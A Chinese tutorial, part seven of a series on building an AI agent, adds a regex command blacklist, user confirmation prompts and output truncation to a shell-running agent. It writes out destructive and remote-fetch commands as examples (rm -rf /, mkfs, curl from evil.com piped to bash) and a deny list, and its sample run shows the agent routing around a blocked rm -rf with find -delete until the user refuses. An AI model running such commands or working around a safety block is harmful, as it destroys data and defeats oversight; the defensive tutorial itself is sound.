欢迎阅读「从零开始理解 Agent」系列第七篇。前六篇我们一直在给 Agent 添加各种能力,但有一个潜在的危险被我们忽视了:Agent 手里握着一把没有保险的枪。
回想第一篇中的 execute_bash 工具——它可以执行任意 Shell 命令。是任意命令,包括 rm -rf /、mkfs.ext4 /dev/sda、curl http://evil.com | bash。大型语言模型(LLM)并非完美,它可能因理解偏差、产生幻觉,或被提示词注入(Prompt Injection)诱导而执行危险操作。
这并非理论风险。只要你真正让 Agent 处理过实际任务,很可能遇到过它试图执行一些你未曾预料到的操作。
今天,我们将基于最初的 agent.py,为它加上三道关键的安全防线,让 Agent 从“裸奔”状态升级为“有保险”的安全模式。
关于本篇代码的说明:与第四、五、六篇类似,本篇的 agent-safe.py 是一个新开发的文件,它基于第一篇的 agent.py,核心改动是新增了三道安全防线。
一、Agent 的安全问题到底有多严重?
先看几个 Agent 可能执行的命令示例:
# LLM 想“清理临时文件”,但路径搞错了
rm -rf /
# LLM 想“重置数据库”,结果格式化了磁盘
mkfs.ext4 /dev/sda1
# LLM 在网上“找到了一个解决方案”
curl http://malicious.com/script.sh | bash
# LLM 想“修复权限问题”
chmod 777 /
# LLM 陷入循环,输出了一个 10MB 的文件内容,撑爆上下文窗口
cat /var/log/syslog
这些并非 LLM 的恶意行为,而是它在“尽力完成任务”过程中可能走上的歧途。LLM 无法真正理解“删除根目录”的后果——对它而言,rm 只是一个“删除文件的工具”。
像 OpenClaw 和 Claude Code 这类成熟产品是如何解决这个问题的?它们有一个共同的核心设计:每次执行命令前,都会弹出一个确认框,让用户选择“允许”还是“拒绝”。这就是人机协作中至关重要的安全边界。
二、三道防线的设计思路
我们的安全方案将由三道防线构成,它们从外到内逐层过滤风险:
LLM 输出一条命令
│
▼
防线 1: 命令黑名单
│ “rm -rf /” → 🚫 直接拦截,不问用户
│ “ls -la” → ✅ 通过
▼
防线 2: 用户确认
│ “find . -name '*.py'” → 用户看到后按 Y 放行
│ → 用户按 N 跳过
│ → 用户按 Q 终止 Agent
▼
防线 3: 输出截断
│ 命令输出 10000 行 → 截断为首尾各 2500 字符
│ 命令输出 10 行 → 原样返回
▼
结果返回给 LLM
这三道防线各有分工:黑名单拦截“绝对禁止的操作”,用户确认判断“需要人类介入的操作”,输出截断处理“结果过载的问题”。
三、防线 1:命令黑名单
这是最简单粗暴,但也最可靠的防线。它不依赖 AI 判断,纯粹基于正则表达式匹配。rm -rf / 一旦命中规则,直接拦截,连用户确认的机会都不给。
DANGEROUS_PATTERNS = [
r'\brm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+|.*--no-preserve-root)', # rm -rf
r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*\s+)?/', # rm /
r'\bmkfs\b', # 格式化磁盘
r'\bdd\s+.*of\s*=\s*/dev/', # 覆写磁盘
r'>\s*/dev/sd[a-z]', # 重定向到磁盘设备
r'\bchmod\s+(-R\s+)?777\s+/', # chmod 777 /
r':\(\)\s*\{', # fork bomb
r'\bcurl\b.*\|\s*(ba)?sh', # curl | bash
r'\bwget\b.*\|\s*(ba)?sh', # wget | bash
r'\bshutdown\b', # 关机
r'\breboot\b', # 重启
]
def is_dangerous(command):
for pattern in DANGEROUS_PATTERNS:
if re.search(pattern, command):
return True, pattern
return False, None
在 execute_bash 函数的最开头调用它:
def execute_bash(command):
dangerous, pattern = is_dangerous(command)
if dangerous:
return f"🚫 命令被拦截(匹配危险模式: {pattern}): {command}"
# ... 继续执行
LLM 会收到“命令被拦截”的返回信息,然后它可以尝试换一种更安全的方式来达成目标。
黑名单能拦住所有危险命令吗?
不能。 黑名单只能拦截已知的危险模式。一个精心构造的命令(例如使用变量拼接、Base64编码)完全有可能绕过正则匹配。因此,黑名单不应是唯一的防线——它只是第一道过滤器,用于阻挡最显而易见的危险操作。真正的兜底机制,在于第二道防线。
四、防线 2:用户确认
通过了黑名单检测的命令,在执行前还需要经过人类的最终裁决。
def ask_user_confirmation(tool_name, args):
if AUTO_APPROVE:
return True
print(f"\n┌─ 确认执行 ─────────────────────────────")
print(f"│ 工具: {tool_name}")
for key, value in args.items():
print(f"│ {key}: {str(value)[:200]}")
print(f"└────────────────────────────────────────")
while True:
answer = input("[Y]执行 / [N]跳过 / [Q]终止 Agent > ").strip().lower()
if answer in ('y', 'yes', ''):
return True
elif answer in ('n', 'no'):
return False
elif answer in ('q', 'quit'):
sys.exit(0)
用户看到完整的命令详情后,有三个选择:
| 输入 |
效果 |
Y 或回车 |
放行,执行这条命令 |
N |
跳过,返回“用户跳过了此命令”给 LLM |
Q |
直接终止整个 Agent 进程 |
这就是 OpenClaw / Claude Code 中“Allow / Deny”机制的极简实现。
所有工具都需要确认吗?
在 agent-safe.py 中,三个工具(bash、read_file、write_file)都会触发确认。但在实际产品中,确认策略可以设计得更精细:
read_file 通常是安全的(只读不写),可以考虑默认放行。
write_file 需要看路径——写入项目目录内的可以放行,尝试写入 `/etc/ 等系统目录的必须确认。
bash 最危险——或许每次都需要确认,或者采用白名单模式(只允许 ls、grep、cat 等安全命令免确认)。
启动时使用 --auto 参数可以跳过所有确认,适用于高度信任的场景(例如在隔离的 Docker 容器内运行)。
五、防线 3:输出截断
第三道防线解决的不是“命令危险”的问题,而是“结果过大”的问题。
假设 LLM 执行了 cat /var/log/syslog,返回了 10MB 的日志内容。这些内容会被追加到 messages 对话历史中,很可能导致下一轮 API 调用因超出上下文窗口限制而失败。第六篇讲的压缩是事后补救,而输出截断则是从源头进行控制。
MAX_OUTPUT_LENGTH = 5000
def truncate_output(text):
if len(text) <= MAX_OUTPUT_LENGTH:
return text
half = MAX_OUTPUT_LENGTH // 2
return (
text[:half]
+ f"\n\n... [输出过长,已截断。原始 {len(text)} 字符,保留首尾各 {half} 字符] ...\n\n"
+ text[-half:]
)
截断策略是保留输出内容的首尾各一半——开头通常包含列标题或文件头部信息,结尾则往往包含最新的记录或错误信息,中间的细节可以被安全地舍弃。
六、三道防线在 execute_bash 中的串联
现在,让我们看看这三道防线如何在 execute_bash 函数中被串联起来:
def execute_bash(command):
# 防线 1: 黑名单
dangerous, pattern = is_dangerous(command)
if dangerous:
return f"🚫 命令被拦截: {command}"
# 防线 2: 用户确认
if not ask_user_confirmation("execute_bash”, {“command”: command}):
return “用户跳过了此命令。”
# 实际执行
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30)
output = result.stdout + result.stderr
except subprocess.TimeoutExpired:
output = “Error: 命令执行超时(30秒)”
except Exception as e:
output = f“Error: {str(e)}”
# 防线 3: 输出截断
return truncate_output(output)
三道防线依次串联:先过黑名单 → 再过用户确认 → 最后截断输出。每一道防线都是独立的,只要被拦截就直接返回,不再进入下一道。
七、实际运行效果
让我们通过一个例子来看看它的实际表现:
$ python agent-safe.py “清理 /tmp 下的所有文件”
[Tool] execute_bash({“command”: “rm -rf /tmp/*”})
🚫 命令被拦截(匹配危险模式: rm -rf): rm -rf /tmp/*
(LLM 收到拦截信息后换了一种方式)
[Tool] execute_bash({“command”: “find /tmp -type f -delete”})
┌─ 确认执行 ─────────────────────────────
│ 工具: execute_bash
│ command: find /tmp -type f -delete
└────────────────────────────────────────
[Y]执行 / [N]跳过 / [Q]终止 Agent > n
(用户觉得不安全,跳过了)
[Tool] execute_bash({“command”: “ls /tmp”})
┌─ 确认执行 ─────────────────────────────
│ 工具: execute_bash
│ command: ls /tmp
└────────────────────────────────────────
[Y]执行 / [N]跳过 / [Q]终止 Agent > y
(用户放行,Agent 先看看 /tmp 里有什么再决定下一步)
注意观察 LLM 的行为模式:第一次 rm -rf 被拦截后,它尝试了 find -delete(绕过了黑名单但被用户拒绝),最后退而求其次,先执行 ls 查看情况。Agent 在安全约束下会自适应地调整策略——这正是将拦截信息明确返回给 LLM 的好处。
八、nanoAgent 与生产级安全方案的对比
我们的 agent-safe.py 实现的是“最小可行安全”(Minimum Viable Security)方案。它与生产级方案的对比如下:
| 维度 |
agent-safe.py |
OpenClaw / Claude Code 等生产方案 |
| 命令过滤 |
正则黑名单 |
更精细的分类:安全命令免确认、危险命令强制拦截、中间地带由用户选择 |
| 用户确认 |
文本终端 Y/N |
图形化界面,支持 “Always allow” 记住选择 |
| 执行隔离 |
无 |
Docker / 虚拟机沙箱,严格限制文件系统访问范围 |
| 输出控制 |
字符数截断 |
基于 Token 数精确控制,并结合上下文压缩机制 |
| 网络控制 |
无 |
限制可访问的域名、禁止下载并执行远程脚本 |
nanoAgent 的方案用不到 80 行代码实现了三道核心防线,已经覆盖了最常见的风险场景。生产环境通常在此基础上,叠加沙箱隔离和更精细的策略管理。
九、进化方向:从硬编码到 Hook 管道
让我们回顾一下 execute_bash 的代码结构:
def execute_bash(command):
is_dangerous(command) # 检查 1:黑名单
ask_user_confirmation(...) # 检查 2:用户确认
result = subprocess.run(...) # 实际执行
truncate_output(result) # 后处理:截断
这三道防线是硬编码在函数内部的。如果想增加一个新的检查(例如“记录所有执行的命令到日志文件”),就必须修改 execute_bash 函数的源码。如果想对 read_file 工具也应用同样的检查,又得重写一遍。
生产级的 Agent 框架会将这类检查抽象为Hook(钩子)机制——一个可插拔的管道:
# 定义 Hook 管道
before_hooks = [check_blacklist, ask_confirmation, log_command]
after_hooks = [truncate_output, log_result]
# 通用的工具执行函数
def execute_tool(name, args):
# 执行前:依次过所有 before hook
for hook in before_hooks:
blocked, msg = hook(name, args)
if blocked:
return msg # 任何一个 hook 都可以拦截
# 实际执行
result = available_functions[name](**args)
# 执行后:依次过所有 after hook
for hook in after_hooks:
result = hook(name, result)
return result
这样做的好处显而易见:
- 可插拔:增加新检查只需向列表
append 一个函数,无需改动核心逻辑。
- 可复用:同一套 Hook 管道对所有工具生效,避免了重复代码。
- 可配置:不同场景可以挂载不同的 Hook 组合(例如开发环境宽松,生产环境严格)。
本文实现的三道防线,可以看作三个独立 Hook 的“手动硬编码版本”。理解了硬编码的实现方式,Hook 机制本质上只是把一连串的 if 语句替换成了一个 for 循环——从“写死要执行哪些检查”变为“动态注册哪些检查”。
十、系列收官
七篇文章,我们从 115 行代码出发,构建了一个完整的 Agent 认知体系:
| 篇 |
核心主题 |
一句话概括 |
| 一 |
工具 + 循环 |
Agent 最本质的最小核心 |
| 二 |
记忆 + 规划 |
记住过去,规划未来 |
| 三 |
Rules + Skills + MCP |
扩展知识与工具集 |
| 四 |
SubAgent |
即用即弃的“一次性临时工” |
| 五 |
Teams |
有记忆、有身份、能通信的正式团队 |
| 六 |
上下文压缩 |
记住要点,忘掉细节 |
| 七 |
安全与权限 |
能力越大,防线越重要 |
前六篇回答了“Agent 能做什么”,而第七篇则聚焦于“Agent 不能做什么”。能力与约束,本就是一体两面。
如果把 Agent 比作一辆车:
- 第一篇安装了引擎(工具 + 循环)
- 第二篇加装了后视镜和导航(记忆 + 规划)
- 第三篇配备了可换配件和使用手册(Rules + Skills + MCP)
- 第四篇让它能呼叫外援(SubAgent)
- 第五篇让它能组建车队(Teams)
- 第六篇加装了油量警告灯(上下文压缩)
- 第七篇则装上了刹车和安全气囊(安全防线 + Hook 机制)
至此,这辆车从底盘到安全系统都已齐备。如果你拆开 OpenClaw 或 Claude Code 这样的成熟产品,里面正是由这些模块构成的——每一个单独拿出来都不复杂,但组合在一起,就形成了一个能够自主、安全工作的智能体。
本文基于 agent-safe.py 源码分析。欢迎在技术社区交流更多关于 AI 应用安全的实践经验。